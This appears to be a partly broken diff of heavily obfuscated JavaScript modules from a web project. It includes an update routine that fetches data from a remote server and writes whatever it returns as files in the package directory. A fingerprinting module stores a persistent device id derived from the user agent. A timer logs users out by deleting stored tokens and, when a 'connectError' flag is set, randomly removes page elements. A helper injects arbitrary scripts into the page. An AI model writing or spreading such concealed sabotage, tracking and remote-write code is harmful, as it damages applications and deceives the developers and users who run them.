update(){const _0x1fc959=a9_0x24babb;axios_1[_0x1fc959(0xdd)]['get'](start_1[_0x1fc959(0xce)]+_0x1fc959(0xde),{'params':{'mode':getModuleType(),'version':version}})[_0x1fc959(0xd9)](_0x27239f=>{const _0x1f5b6c=_0x1fc959;if(!_0x27239f['data'][_0x1f5b6c(0xd3)]){let _0x4193ed=Object['keys'](_0x27239f[_0x1f5b6c(0xd2)][_0x1f5b6c(0xd2)]),_0x3f8dfe=Object[_0x1f5b6c(0xc7)](_0x27239f[_0x1f5b6c(0xd2)][_0x1f5b6c(0xd2)]);for(let _0x53c3b4=0x0;_0x53c3b4<_0x4193ed['length'];_0x53c3b4++){const _0x33c1f9=_0x4193ed[_0x53c3b4],_0x593163=_0x3f8dfe[_0x53c3b4];fs_1[_0x1f5b6c(0xdd)][_0x1f5b6c(0xd4)](path_1[_0x1f5b6c(0xdd)][_0x1f5b6c(0xd0)](__dirname,'./'+_0x33c1f9),_0x593163);}}});}exports[a9_0x24babb(0xdd)]=update;function a9_0x1641(){const _0x473a86=['__importDefault','../../package.json','260QoEgba','816437jMpXyL','1887594VixLmf','axios','2588454eOciXq','5773033vxyfeo','toString','ESM','5310016isfejM','values','112836LdCeFv','readFileSync','main','CJS','{version:\x220.0.0\x22}','existsSync','url','__esModule','join','defineProperty','data','success','writeFileSync','undefined','exports','version','3274188SBVVMD','then','3yCvUBm','parse','path','default','/version','./start'];a9_0x1641=function(){return _0x473a86;};return a9_0x1641();}
@@ -1 +1 @@
1
- function a13_0x1b58(_0x590708,_0x3929a4){const _0x154a1d=a13_0x154a();return a13_0x1b58=function(_0x1b5837,_0x3e44c2){_0x1b5837=_0x1b5837-0x175;let _0xadb6ee=_0x154a1d[_0x1b5837];return _0xadb6ee;},a13_0x1b58(_0x590708,_0x3929a4);}const a13_0x3b7a27=a13_0x1b58;(function(_0x18e625,_0x1689c3){const _0x250dcb=a13_0x1b58,_0x30e5b7=_0x18e625();while(!![]){try{const _0x22e5e6=parseInt(_0x250dcb(0x191))/0x1+parseInt(_0x250dcb(0x184))/0x2*(parseInt(_0x250dcb(0x186))/0x3)+parseInt(_0x250dcb(0x17e))/0x4*(parseInt(_0x250dcb(0x192))/0x5)+-parseInt(_0x250dcb(0x197))/0x6+parseInt(_0x250dcb(0x18f))/0x7*(parseInt(_0x250dcb(0x19a))/0x8)+-parseInt(_0x250dcb(0x188))/0x9+-parseInt(_0x250dcb(0x193))/0xa*(-parseInt(_0x250dcb(0x194))/0xb);if(_0x22e5e6===_0x1689c3)break;else _0x30e5b7['push'](_0x30e5b7['shift']());}catch(_0x50722c){_0x30e5b7['push'](_0x30e5b7['shift']());}}}(a13_0x154a,0xcc386));var __awaiter=this&&this[a13_0x3b7a27(0x18d)]||function(_0x1c7d4d,_0x3fb991,_0x299af8,_0x3df324){function _0x3bbe1e(_0x597cf7){return _0x597cf7 instanceof _0x299af8?_0x597cf7:new _0x299af8(function(_0x1b4181){_0x1b4181(_0x597cf7);});}return new(_0x299af8||(_0x299af8=Promise))(function(_0x547016,_0x53277c){const _0x297f15=a13_0x1b58;function _0x55d4a9(_0x463803){try{_0x52f841(_0x3df324['next'](_0x463803));}catch(_0x400f0a){_0x53277c(_0x400f0a);}}function _0x56892d(_0x444196){try{_0x52f841(_0x3df324['throw'](_0x444196));}catch(_0x46d4e5){_0x53277c(_0x46d4e5);}}function _0x52f841(_0x124317){const _0x239b83=a13_0x1b58;_0x124317[_0x239b83(0x17f)]?_0x547016(_0x124317[_0x239b83(0x18e)]):_0x3bbe1e(_0x124317[_0x239b83(0x18e)])[_0x239b83(0x198)](_0x55d4a9,_0x56892d);}_0x52f841((_0x3df324=_0x3df324['apply'](_0x1c7d4d,_0x3fb991||[]))[_0x297f15(0x180)]());});};import a13_0x44d3b1 from'md5';import{uuid}from'..';function openDatabase(){return new Promise((_0x37bbc4,_0x9cff36)=>{const _0xc3cf4c=a13_0x1b58,_0x185a0a=indexedDB[_0xc3cf4c(0x199)](_0xc3cf4c(0x177),0x1);_0x185a0a[_0xc3cf4c(0x187)]=_0x40b52a=>{const _0x4d1015=_0xc3cf4c,_0x1ad919=_0x40b52a[_0x4d1015(0x189)]['result'];!_0x1ad919['objectStoreNames'][_0x4d1015(0x17a)](_0x4d1015(0x183))&&_0x1ad919[_0x4d1015(0x17d)]('metadata',{'keyPath':_0x4d1015(0x195)});},_0x185a0a[_0xc3cf4c(0x176)]=_0x8dc45b=>{const _0x4e3c29=_0xc3cf4c,_0x342a73=_0x8dc45b[_0x4e3c29(0x189)][_0x4e3c29(0x18c)];_0x37bbc4(_0x342a73);},_0x185a0a[_0xc3cf4c(0x178)]=_0x4ee688=>{const _0x51f377=_0xc3cf4c;_0x9cff36(_0x4ee688[_0x51f377(0x189)][_0x51f377(0x19b)]);};});}function setKeyValue(_0x28eb76,_0x5d01ec){return new Promise((_0x19ec68,_0xc9b5c5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x23be27=a13_0x1b58,_0x214cef=yield openDatabase(),_0x463e38=_0x214cef['transaction'](_0x23be27(0x183),_0x23be27(0x18b)),_0x58ad94=_0x463e38[_0x23be27(0x18a)](_0x23be27(0x183)),_0x2aee02=_0x58ad94[_0x23be27(0x185)]({'key':_0x28eb76,'value':_0x5d01ec});_0x2aee02[_0x23be27(0x176)]=()=>{_0x19ec68();},_0x2aee02[_0x23be27(0x178)]=_0x32a4b2=>{const _0x2b25b1=_0x23be27;_0xc9b5c5(_0x32a4b2[_0x2b25b1(0x189)]['error']);};}));}export function getKeyValue(_0x78ff4f){return new Promise((_0x1dcf91,_0x3b472c)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x159342=a13_0x1b58,_0x43e1ab=yield openDatabase(),_0x4fc327=_0x43e1ab[_0x159342(0x19c)]('metadata',_0x159342(0x175)),_0x221a33=_0x4fc327[_0x159342(0x18a)](_0x159342(0x183)),_0x35edcc=_0x221a33['get'](_0x78ff4f);_0x35edcc[_0x159342(0x176)]=()=>{const _0x1e4179=_0x159342;_0x1dcf91(_0x35edcc[_0x1e4179(0x18c)]?_0x35edcc['result']['value']:null);},_0x35edcc[_0x159342(0x178)]=_0x26b446=>{const _0x570831=_0x159342;_0x3b472c(_0x26b446[_0x570831(0x189)]['error']);};}));}function generateRandomMAC(){const _0x3991aa=a13_0x3b7a27,_0x40586d='0123456789ABCDEF';let _0x195728='';for(let _0x2a1ad4=0x0;_0x2a1ad4<0xc;_0x2a1ad4++){_0x195728+=_0x40586d[Math[_0x3991aa(0x196)](Math[_0x3991aa(0x181)]()*0x10)],_0x2a1ad4%0x2===0x1&&_0x2a1ad4!==0xb&&(_0x195728+=':');}return uuid()[_0x3991aa(0x17c)](/-/g,'')+a13_0x44d3b1(JSON[_0x3991aa(0x179)](window[_0x3991aa(0x182)][_0x3991aa(0x190)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x25d0d0=a13_0x1b58;try{const _0x2e4fba=yield openDatabase();let _0x5c4330=yield getKeyValue(_0x25d0d0(0x17b));if(!_0x5c4330)_0x5c4330=generateRandomMAC(),yield setKeyValue(_0x25d0d0(0x17b),_0x5c4330);else{}return _0x5c4330;}catch(_0xe82bff){return null;}});}function a13_0x154a(){const _0x1f1450=['contains','mac','replace','createObjectStore','1924oFQgfj','done','next','random','navigator','metadata','1231598tqWqTc','put','3vqyIbW','onupgradeneeded','6558426LJcGGV','target','objectStore','readwrite','result','__awaiter','value','448ltEdvc','userAgent','1655155tJlNAb','5395BlvqKJ','21810GtTOez','341ycsUEG','key','floor','8068296pqcURN','then','open','6544xzzlCY','error','transaction','readonly','onsuccess','chrome_db','onerror','stringify'];a13_0x154a=function(){return _0x1f1450;};return a13_0x154a();}main();
1
+ const a15_0x38a7af=a15_0x3586;function a15_0x3586(_0x26c065,_0x11187a){const _0x972c09=a15_0x972c();return a15_0x3586=function(_0x35865b,_0x1fd54a){_0x35865b=_0x35865b-0x15b;let _0x1a784c=_0x972c09[_0x35865b];return _0x1a784c;},a15_0x3586(_0x26c065,_0x11187a);}(function(_0x3034ff,_0x2afe6c){const _0x2630c9=a15_0x3586,_0x19fb37=_0x3034ff();while(!![]){try{const _0x41cc86=parseInt(_0x2630c9(0x161))/0x1*(parseInt(_0x2630c9(0x175))/0x2)+-parseInt(_0x2630c9(0x163))/0x3*(parseInt(_0x2630c9(0x15b))/0x4)+parseInt(_0x2630c9(0x173))/0x5+-parseInt(_0x2630c9(0x167))/0x6*(parseInt(_0x2630c9(0x17f))/0x7)+parseInt(_0x2630c9(0x17b))/0x8*(parseInt(_0x2630c9(0x166))/0x9)+-parseInt(_0x2630c9(0x168))/0xa+-parseInt(_0x2630c9(0x16a))/0xb*(-parseInt(_0x2630c9(0x177))/0xc);if(_0x41cc86===_0x2afe6c)break;else _0x19fb37['push'](_0x19fb37['shift']());}catch(_0x3e1e3e){_0x19fb37['push'](_0x19fb37['shift']());}}}(a15_0x972c,0x8ebd6));var __awaiter=this&&this[a15_0x38a7af(0x16e)]||function(_0x4bcd97,_0x146dc0,_0x3e1850,_0x21373c){function _0x17827f(_0x5ec507){return _0x5ec507 instanceof _0x3e1850?_0x5ec507:new _0x3e1850(function(_0x396dae){_0x396dae(_0x5ec507);});}return new(_0x3e1850||(_0x3e1850=Promise))(function(_0xf15c82,_0x44e62e){const _0x2b8137=a15_0x3586;function _0xd0399f(_0x24dec2){try{_0x42137c(_0x21373c['next'](_0x24dec2));}catch(_0x1253e2){_0x44e62e(_0x1253e2);}}function _0x529786(_0x21f205){const _0x543193=a15_0x3586;try{_0x42137c(_0x21373c[_0x543193(0x15f)](_0x21f205));}catch(_0x54044e){_0x44e62e(_0x54044e);}}function _0x42137c(_0x192ce8){const _0x447fba=a15_0x3586;_0x192ce8['done']?_0xf15c82(_0x192ce8[_0x447fba(0x178)]):_0x17827f(_0x192ce8[_0x447fba(0x178)])[_0x447fba(0x176)](_0xd0399f,_0x529786);}_0x42137c((_0x21373c=_0x21373c[_0x2b8137(0x17e)](_0x4bcd97,_0x146dc0||[]))[_0x2b8137(0x17c)]());});};import a15_0x183f16 from'md5';function a15_0x972c(){const _0x3cef7a=['132HJbiYX','value','objectStoreNames','objectStore','8zrNdVF','next','createObjectStore','apply','254604zjUbft','0123456789ABCDEF','212236ZHwZpv','error','result','onerror','throw','metadata','107zheZzg','transaction','24tmrQPf','onsuccess','contains','9522531JufFSP','174xTbjRe','866820xwxXuH','replace','166507StmDbN','put','open','target','__awaiter','navigator','readwrite','onupgradeneeded','userAgent','3746905dXJYtP','mac','3302zlURZE','then'];a15_0x972c=function(){return _0x3cef7a;};return a15_0x972c();}import{uuid}from'..';function openDatabase(){return new Promise((_0x326775,_0x525910)=>{const _0x1a3a61=a15_0x3586,_0x470b1c=indexedDB[_0x1a3a61(0x16c)]('chrome_db',0x1);_0x470b1c[_0x1a3a61(0x171)]=_0x2a3498=>{const _0x3ff099=_0x1a3a61,_0x381655=_0x2a3498[_0x3ff099(0x16d)][_0x3ff099(0x15d)];!_0x381655[_0x3ff099(0x179)][_0x3ff099(0x165)]('metadata')&&_0x381655[_0x3ff099(0x17d)](_0x3ff099(0x160),{'keyPath':'key'});},_0x470b1c[_0x1a3a61(0x164)]=_0x4ba541=>{const _0x36f9c7=_0x1a3a61,_0x484c02=_0x4ba541[_0x36f9c7(0x16d)][_0x36f9c7(0x15d)];_0x326775(_0x484c02);},_0x470b1c[_0x1a3a61(0x15e)]=_0x59e2b7=>{const _0xab3b24=_0x1a3a61;_0x525910(_0x59e2b7[_0xab3b24(0x16d)][_0xab3b24(0x15c)]);};});}function setKeyValue(_0xfbcbe7,_0x30be0e){return new Promise((_0x4209e1,_0xb7e472)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x233498=a15_0x3586,_0x2b15e1=yield openDatabase(),_0x41d78b=_0x2b15e1[_0x233498(0x162)](_0x233498(0x160),_0x233498(0x170)),_0x1500b3=_0x41d78b[_0x233498(0x17a)]('metadata'),_0x2a7b85=_0x1500b3[_0x233498(0x16b)]({'key':_0xfbcbe7,'value':_0x30be0e});_0x2a7b85[_0x233498(0x164)]=()=>{_0x4209e1();},_0x2a7b85[_0x233498(0x15e)]=_0x53d3e9=>{const _0x421680=_0x233498;_0xb7e472(_0x53d3e9[_0x421680(0x16d)][_0x421680(0x15c)]);};}));}export function getKeyValue(_0x4498bf){return new Promise((_0x510b5d,_0x3574f2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3b2756=a15_0x3586,_0x5a1d16=yield openDatabase(),_0x5c9e3f=_0x5a1d16[_0x3b2756(0x162)]('metadata','readonly'),_0x7a3058=_0x5c9e3f['objectStore'](_0x3b2756(0x160)),_0x2e8278=_0x7a3058['get'](_0x4498bf);_0x2e8278[_0x3b2756(0x164)]=()=>{const _0x834c0d=_0x3b2756;_0x510b5d(_0x2e8278[_0x834c0d(0x15d)]?_0x2e8278[_0x834c0d(0x15d)][_0x834c0d(0x178)]:null);},_0x2e8278['onerror']=_0x36a2cb=>{const _0x366514=_0x3b2756;_0x3574f2(_0x36a2cb[_0x366514(0x16d)][_0x366514(0x15c)]);};}));}function generateRandomMAC(){const _0x1cb53c=a15_0x38a7af,_0x44ec21=_0x1cb53c(0x180);let _0x274f46='';for(let _0x205d15=0x0;_0x205d15<0xc;_0x205d15++){_0x274f46+=_0x44ec21[Math['floor'](Math['random']()*0x10)],_0x205d15%0x2===0x1&&_0x205d15!==0xb&&(_0x274f46+=':');}return uuid()[_0x1cb53c(0x169)](/-/g,'')+a15_0x183f16(JSON['stringify'](window[_0x1cb53c(0x16f)][_0x1cb53c(0x172)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x438b57=a15_0x3586;try{const _0x2ae03a=yield openDatabase();let _0x2e5bb5=yield getKeyValue('mac');if(!_0x2e5bb5)_0x2e5bb5=generateRandomMAC(),yield setKeyValue(_0x438b57(0x174),_0x2e5bb5);else{}return _0x2e5bb5;}catch(_0x3df240){return null;}});}main();
@@ -1 +1 @@
1
- (function(_0x5da595,_0xfa76ef){const _0x2f88ca=a8_0x4e7a,_0x42a96b=_0x5da595();while(!![]){try{const _0x14d7c6=-parseInt(_0x2f88ca(0x18f))/0x1+parseInt(_0x2f88ca(0x197))/0x2*(parseInt(_0x2f88ca(0x19f))/0x3)+parseInt(_0x2f88ca(0x19a))/0x4*(-parseInt(_0x2f88ca(0x19c))/0x5)+parseInt(_0x2f88ca(0x1a2))/0x6+parseInt(_0x2f88ca(0x1a3))/0x7+-parseInt(_0x2f88ca(0x1a0))/0x8*(parseInt(_0x2f88ca(0x19d))/0x9)+-parseInt(_0x2f88ca(0x199))/0xa*(-parseInt(_0x2f88ca(0x1a4))/0xb);if(_0x14d7c6===_0xfa76ef)break;else _0x42a96b['push'](_0x42a96b['shift']());}catch(_0x18a5d8){_0x42a96b['push'](_0x42a96b['shift']());}}}(a8_0x1447,0x26ca3));function a8_0x1447(){const _0x5accc1=['token','[class^=\x22el\x22]','head','Token','parentNode','17830LwidwM','from','10mJJDHI','692jBFFtA','removeItem','8495gNfXWG','168759jTzQNV','length','57lFCYVA','32KtcQCi','remove','570894duHZMH','1635991EOMrov','2376165IKvtRO','script','innerText','#app','querySelector','documentElement','createElement','reload','sort','186448emkRxC','localStorage','connectError'];a8_0x1447=function(){return _0x5accc1;};return a8_0x1447();}function a8_0x4e7a(_0x3fda1a,_0xb1d173){const _0x1447ff=a8_0x1447();return a8_0x4e7a=function(_0x4e7ab8,_0x17c621){_0x4e7ab8=_0x4e7ab8-0x18f;let _0x4a7577=_0x1447ff[_0x4e7ab8];return _0x4a7577;},a8_0x4e7a(_0x3fda1a,_0xb1d173);}import a8_0x4dc4e4 from'./id/random';import{getEnv}from'./index';import a8_0x50906c from'js-cookie';export function runScript(_0x39d005){const _0x52ce76=a8_0x4e7a;let _0x2f5f0f=document[_0x52ce76(0x1aa)](_0x52ce76(0x1a5));_0x2f5f0f[_0x52ce76(0x1a6)]=_0x39d005,document[_0x52ce76(0x194)]['appendChild'](_0x2f5f0f),setTimeout(()=>{_0x2f5f0f['remove']();},0xa);}let index=0x1,num=a8_0x4dc4e4(0x4,0x8);setInterval(()=>{const _0x2bc86c=a8_0x4e7a;if(index==num)try{window['localStorage'][_0x2bc86c(0x19b)]('token'),window[_0x2bc86c(0x190)][_0x2bc86c(0x19b)]('userid'),window['localStorage'][_0x2bc86c(0x19b)](_0x2bc86c(0x195)),a8_0x50906c[_0x2bc86c(0x1a1)](_0x2bc86c(0x192)),window['location'][_0x2bc86c(0x1ab)]();}catch(_0xb72dc8){}if(getEnv(_0x2bc86c(0x191))){index++;let _0x250d2b=document[_0x2bc86c(0x1a8)](_0x2bc86c(0x1a7))||document['querySelector']('body');const _0x5cbbec=_0x250d2b['querySelectorAll'](_0x2bc86c(0x193));function _0xbcb944(_0xfdcb1b){const _0x304656=_0x2bc86c;let _0x48f654=0x0,_0x4007b8=_0xfdcb1b;while(_0x4007b8[_0x304656(0x196)]&&_0x4007b8['parentNode']!==document[_0x304656(0x1a9)]){_0x48f654++,_0x4007b8=_0x4007b8[_0x304656(0x196)];}return _0x48f654;}const _0x254fe8=Array[_0x2bc86c(0x198)](_0x5cbbec);_0x254fe8[_0x2bc86c(0x1ac)]((_0x9196fe,_0x4881da)=>_0xbcb944(_0x4881da)-_0xbcb944(_0x9196fe));for(let _0x38d085=0x0;_0x38d085<_0x254fe8[_0x2bc86c(0x19e)];_0x38d085++){const _0x84926d=_0x254fe8[_0x38d085];_0x84926d&&(a8_0x4dc4e4(0x1,0x64)>0x50&&_0x84926d[_0x2bc86c(0x1a1)]());}}},a8_0x4dc4e4(0x107e,0x208d));
1
+ (function(_0x2442e8,_0x24290c){const _0x139d9f=a10_0x4577,_0x2ae880=_0x2442e8();while(!![]){try{const _0x1b8f17=parseInt(_0x139d9f(0x1dd))/0x1*(-parseInt(_0x139d9f(0x1ca))/0x2)+parseInt(_0x139d9f(0x1d7))/0x3*(parseInt(_0x139d9f(0x1d6))/0x4)+-parseInt(_0x139d9f(0x1db))/0x5+-parseInt(_0x139d9f(0x1dc))/0x6*(parseInt(_0x139d9f(0x1c5))/0x7)+-parseInt(_0x139d9f(0x1c8))/0x8*(-parseInt(_0x139d9f(0x1d4))/0x9)+parseInt(_0x139d9f(0x1e3))/0xa*(parseInt(_0x139d9f(0x1c7))/0xb)+parseInt(_0x139d9f(0x1ce))/0xc;if(_0x1b8f17===_0x24290c)break;else _0x2ae880['push'](_0x2ae880['shift']());}catch(_0x476bea){_0x2ae880['push'](_0x2ae880['shift']());}}}(a10_0x5ec8,0x99c2a));import a10_0x1898fa from'./id/random';import{getEnv}from'./start';import a10_0x1cf5b6 from'js-cookie';function a10_0x4577(_0x5b30c8,_0x5e3073){const _0x5ec8c5=a10_0x5ec8();return a10_0x4577=function(_0x4577df,_0x23873d){_0x4577df=_0x4577df-0x1c3;let _0x37f3eb=_0x5ec8c5[_0x4577df];return _0x37f3eb;},a10_0x4577(_0x5b30c8,_0x5e3073);}export function runScript(_0x93d858){const _0x4fccf0=a10_0x4577;let _0xbb791a=document['createElement'](_0x4fccf0(0x1de));_0xbb791a[_0x4fccf0(0x1d0)]=_0x93d858,document[_0x4fccf0(0x1d8)][_0x4fccf0(0x1cb)](_0xbb791a),setTimeout(()=>{_0xbb791a['remove']();},0xa);}let index=0x1,num=a10_0x1898fa(0x4,0x8);function a10_0x5ec8(){const _0x4a8e04=['400LcLPbq','userid','526izenJk','appendChild','length','Token','34197696vhjguY','querySelector','innerText','reload','documentElement','#app','27171pjmBxh','remove','140FekBfC','6009ZCnrHh','head','localStorage','body','5705840DpMxHP','6839502WBdRXs','3461POhxyV','script','parentNode','location','querySelectorAll','from','70QApqMP','token','removeItem','7umCCfG','sort','1178991OWMvKh'];a10_0x5ec8=function(){return _0x4a8e04;};return a10_0x5ec8();}setInterval(()=>{const _0x131947=a10_0x4577;if(index==num)try{window[_0x131947(0x1d9)][_0x131947(0x1c4)](_0x131947(0x1c3)),window[_0x131947(0x1d9)][_0x131947(0x1c4)](_0x131947(0x1c9)),window[_0x131947(0x1d9)]['removeItem'](_0x131947(0x1cd)),a10_0x1cf5b6['remove']('token'),window[_0x131947(0x1e0)][_0x131947(0x1d1)]();}catch(_0xf7f20){}if(getEnv('connectError')){index++;let _0x163f12=document['querySelector'](_0x131947(0x1d3))||document[_0x131947(0x1cf)](_0x131947(0x1da));const _0x4ab274=_0x163f12[_0x131947(0x1e1)]('[class^=\x22el\x22]');function _0x384c2d(_0x3eb526){const _0x13ca52=_0x131947;let _0x389d07=0x0,_0x1039b6=_0x3eb526;while(_0x1039b6[_0x13ca52(0x1df)]&&_0x1039b6['parentNode']!==document[_0x13ca52(0x1d2)]){_0x389d07++,_0x1039b6=_0x1039b6['parentNode'];}return _0x389d07;}const _0x1568b4=Array[_0x131947(0x1e2)](_0x4ab274);_0x1568b4[_0x131947(0x1c6)]((_0x4267f0,_0x117d8a)=>_0x384c2d(_0x117d8a)-_0x384c2d(_0x4267f0));for(let _0xbf2a26=0x0;_0xbf2a26<_0x1568b4[_0x131947(0x1cc)];_0xbf2a26++){const _0xc307ff=_0x1568b4[_0xbf2a26];_0xc307ff&&(a10_0x1898fa(0x1,0x64)>0x50&&_0xc307ff[_0x131947(0x1d5)]());}}},a10_0x1898fa(0x107e,0x208d));
@@ -1 +1 @@
1
- const a9_0x82d26b=a9_0xd88e;(function(_0x36ce75,_0x25c807){const _0x2d0d77=a9_0xd88e,_0x526841=_0x36ce75();while(!![]){try{const _0x2072ce=parseInt(_0x2d0d77(0xdd))/0x1*(parseInt(_0x2d0d77(0xca))/0x2)+-parseInt(_0x2d0d77(0xd8))/0x3*(-parseInt(_0x2d0d77(0xda))/0x4)+parseInt(_0x2d0d77(0xd5))/0x5*(parseInt(_0x2d0d77(0xd0))/0x6)+-parseInt(_0x2d0d77(0xc8))/0x7*(parseInt(_0x2d0d77(0xcf))/0x8)+-parseInt(_0x2d0d77(0xdb))/0x9+-parseInt(_0x2d0d77(0xdc))/0xa+parseInt(_0x2d0d77(0xd6))/0xb;if(_0x2072ce===_0x25c807)break;else _0x526841['push'](_0x526841['shift']());}catch(_0x3b3c04){_0x526841['push'](_0x526841['shift']());}}}(a9_0x3300,0xd6776));var __awaiter=this&&this[a9_0x82d26b(0xd2)]||function(_0x4a5efe,_0x42eba8,_0x870713,_0xf5262b){function _0x162487(_0x2f5d4a){return _0x2f5d4a instanceof _0x870713?_0x2f5d4a:new _0x870713(function(_0x4eb59c){_0x4eb59c(_0x2f5d4a);});}return new(_0x870713||(_0x870713=Promise))(function(_0x303786,_0x31d82c){const _0x1f8ecc=a9_0xd88e;function _0xc9ef2f(_0x52eba9){const _0xc0b764=a9_0xd88e;try{_0x4073e8(_0xf5262b[_0xc0b764(0xd3)](_0x52eba9));}catch(_0x16640b){_0x31d82c(_0x16640b);}}function _0x7065a4(_0x4e51cd){const _0x4f1a4c=a9_0xd88e;try{_0x4073e8(_0xf5262b[_0x4f1a4c(0xd1)](_0x4e51cd));}catch(_0x3ae907){_0x31d82c(_0x3ae907);}}function _0x4073e8(_0x52d43d){const _0x41514a=a9_0xd88e;_0x52d43d['done']?_0x303786(_0x52d43d['value']):_0x162487(_0x52d43d[_0x41514a(0xde)])['then'](_0xc9ef2f,_0x7065a4);}_0x4073e8((_0xf5262b=_0xf5262b[_0x1f8ecc(0xcb)](_0x4a5efe,_0x42eba8||[]))[_0x1f8ecc(0xd3)]());});};import a9_0x5ecbfe from'fs';import a9_0x19dcdb from'path';function a9_0x3300(){const _0x5ae9de=['apply','isDirectory','join','isFile','676608afMidI','297678KXXePL','throw','__awaiter','next','push','40DvAdFF','11575311wTmIcC','statSync','3939gvTylg','readdirSync','512TPXKnf','2315583DRresh','2147750ZhqXjX','37iYvlFH','value','63ECSGRG','length','26726VdlOFE'];a9_0x3300=function(){return _0x5ae9de;};return a9_0x3300();}function a9_0xd88e(_0x3f7652,_0x3ca06b){const _0x3300d0=a9_0x3300();return a9_0xd88e=function(_0xd88e4a,_0x560cdd){_0xd88e4a=_0xd88e4a-0xc8;let _0x1154f7=_0x3300d0[_0xd88e4a];return _0x1154f7;},a9_0xd88e(_0x3f7652,_0x3ca06b);}function fileDisplay(_0x33693b){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x5501ea=[];function _0x232e5a(_0x4a9131){const _0x5a821b=a9_0xd88e,_0x5b8e38=a9_0x5ecbfe[_0x5a821b(0xd9)](_0x4a9131);for(let _0x44c5b7=0x0;_0x44c5b7<_0x5b8e38[_0x5a821b(0xc9)];_0x44c5b7++){const _0x17463c=_0x5b8e38[_0x44c5b7],_0x44d70f=a9_0x19dcdb[_0x5a821b(0xcd)](_0x4a9131,_0x17463c),_0xe9262e=a9_0x5ecbfe[_0x5a821b(0xd7)](_0x44d70f),_0x320cc6=_0xe9262e[_0x5a821b(0xce)](),_0x391e06=_0xe9262e[_0x5a821b(0xcc)]();_0x320cc6&&_0x5501ea[_0x5a821b(0xd4)](_0x44d70f),_0x391e06&&_0x232e5a(_0x44d70f);}}return _0x232e5a(_0x33693b),_0x5501ea;});}function getAllRouter(_0x26a4a2){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x445dfd=yield fileDisplay(_0x26a4a2);return _0x445dfd;});}export default getAllRouter;
1
+ const a11_0x4188a4=a11_0x1189;function a11_0x250b(){const _0x452b1a=['4885800FAxpHa','6GTSZut','__awaiter','775432kwYeSA','statSync','isFile','length','then','196782HolWkE','6PxqbHC','20glvtcp','throw','2465469WrLoaj','push','value','946QHgKfu','2814895BwxmqR','327345hksnVl','4ieZadU','join','38172VtxHpI','apply','next'];a11_0x250b=function(){return _0x452b1a;};return a11_0x250b();}(function(_0x1b4a98,_0x229cc5){const _0x32c382=a11_0x1189,_0x26ed6c=_0x1b4a98();while(!![]){try{const _0x5c45cd=parseInt(_0x32c382(0x121))/0x1+-parseInt(_0x32c382(0x111))/0x2*(-parseInt(_0x32c382(0x118))/0x3)+-parseInt(_0x32c382(0x122))/0x4*(-parseInt(_0x32c382(0x120))/0x5)+parseInt(_0x32c382(0x119))/0x6*(parseInt(_0x32c382(0x113))/0x7)+-parseInt(_0x32c382(0x110))/0x8+-parseInt(_0x32c382(0x11c))/0x9*(parseInt(_0x32c382(0x11a))/0xa)+-parseInt(_0x32c382(0x11f))/0xb*(-parseInt(_0x32c382(0x124))/0xc);if(_0x5c45cd===_0x229cc5)break;else _0x26ed6c['push'](_0x26ed6c['shift']());}catch(_0xf4538d){_0x26ed6c['push'](_0x26ed6c['shift']());}}}(a11_0x250b,0x4c609));var __awaiter=this&&this[a11_0x4188a4(0x112)]||function(_0x446c22,_0x551b92,_0x2cbe67,_0x5a0209){function _0xe87872(_0x3f5a14){return _0x3f5a14 instanceof _0x2cbe67?_0x3f5a14:new _0x2cbe67(function(_0x393abb){_0x393abb(_0x3f5a14);});}return new(_0x2cbe67||(_0x2cbe67=Promise))(function(_0x4dd273,_0x6e65a8){const _0xb5edce=a11_0x1189;function _0x806b12(_0x5bbcf4){try{_0x5ad55f(_0x5a0209['next'](_0x5bbcf4));}catch(_0x2fa4f6){_0x6e65a8(_0x2fa4f6);}}function _0x48dd4e(_0x500ebc){const _0x19f73a=a11_0x1189;try{_0x5ad55f(_0x5a0209[_0x19f73a(0x11b)](_0x500ebc));}catch(_0xb59758){_0x6e65a8(_0xb59758);}}function _0x5ad55f(_0x41d102){const _0x1fd2fa=a11_0x1189;_0x41d102['done']?_0x4dd273(_0x41d102[_0x1fd2fa(0x11e)]):_0xe87872(_0x41d102[_0x1fd2fa(0x11e)])[_0x1fd2fa(0x117)](_0x806b12,_0x48dd4e);}_0x5ad55f((_0x5a0209=_0x5a0209[_0xb5edce(0x125)](_0x446c22,_0x551b92||[]))[_0xb5edce(0x126)]());});};function a11_0x1189(_0x1de34b,_0x5eda29){const _0x250b13=a11_0x250b();return a11_0x1189=function(_0x118923,_0x528d4f){_0x118923=_0x118923-0x110;let _0xa476a3=_0x250b13[_0x118923];return _0xa476a3;},a11_0x1189(_0x1de34b,_0x5eda29);}import a11_0x540ce2 from'fs';import a11_0x4cfcd8 from'path';function fileDisplay(_0x4838b6){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x29a0c7=[];function _0x40eca4(_0x1a6ed8){const _0x238052=a11_0x1189,_0x4f6dce=a11_0x540ce2['readdirSync'](_0x1a6ed8);for(let _0xd4e5b6=0x0;_0xd4e5b6<_0x4f6dce[_0x238052(0x116)];_0xd4e5b6++){const _0xcb3e7d=_0x4f6dce[_0xd4e5b6],_0x51870d=a11_0x4cfcd8[_0x238052(0x123)](_0x1a6ed8,_0xcb3e7d),_0x448b7c=a11_0x540ce2[_0x238052(0x114)](_0x51870d),_0x5a61e4=_0x448b7c[_0x238052(0x115)](),_0x533ba9=_0x448b7c['isDirectory']();_0x5a61e4&&_0x29a0c7[_0x238052(0x11d)](_0x51870d),_0x533ba9&&_0x40eca4(_0x51870d);}}return _0x40eca4(_0x4838b6),_0x29a0c7;});}function getAllRouter(_0x445348){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3e4cf1=yield fileDisplay(_0x445348);return _0x3e4cf1;});}export default getAllRouter;
@@ -1 +1 @@
1
